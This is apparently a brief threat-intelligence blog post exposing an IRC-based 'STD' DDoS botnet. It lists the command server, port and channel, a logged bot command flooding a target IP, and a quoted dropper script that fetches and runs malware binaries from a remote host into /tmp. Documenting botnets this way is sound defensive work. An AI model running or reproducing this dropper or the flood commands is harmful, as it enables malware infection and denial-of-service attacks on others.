185.61.138.235(STD Botnet hosted in Ukraine Kiev Blazingfast Llc)

Another SDT botnet found by abigail.

Server : 185.61.138.235
Port : 443
Channel : #secgod

DDOS Coming Up :

<~Broken> >bot +std 70.127.120.174 80 30
[STD]Hitting 70.127.120.174!
[STD]Done hitting 70.127.120.174!
<~Broken> >bot +stop
Killing pid 13923.

Other url : http://93.174.93.45/f.sh

#!/bin/sh
cd /tmp && wget http://93.174.93.45/mosh && chmod +x mosh && ./mosh
cd /tmp && wget http://93.174.93.45/mox64 && chmod +x mox64 && ./mox64
cd /tmp && wget http://93.174.93.45/momips && chmod +x momips && ./momips
cd /tmp && wget http://93.174.93.45/momipsel && chmod +x momipsel && ./momipsel
cd /tmp && wget http://93.174.93.45/moarm && chmod +x moarm && ./moarm
cd /tmp && wget http://93.174.93.45/moppc && chmod +x moppc && ./moppc
cd /tmp && wget http://93.174.93.45/moi686 && chmod +x moi686 && ./moi686

Hosting infos:
http://whois.domaintools.com/185.61.138.235

Categories: Uncategorized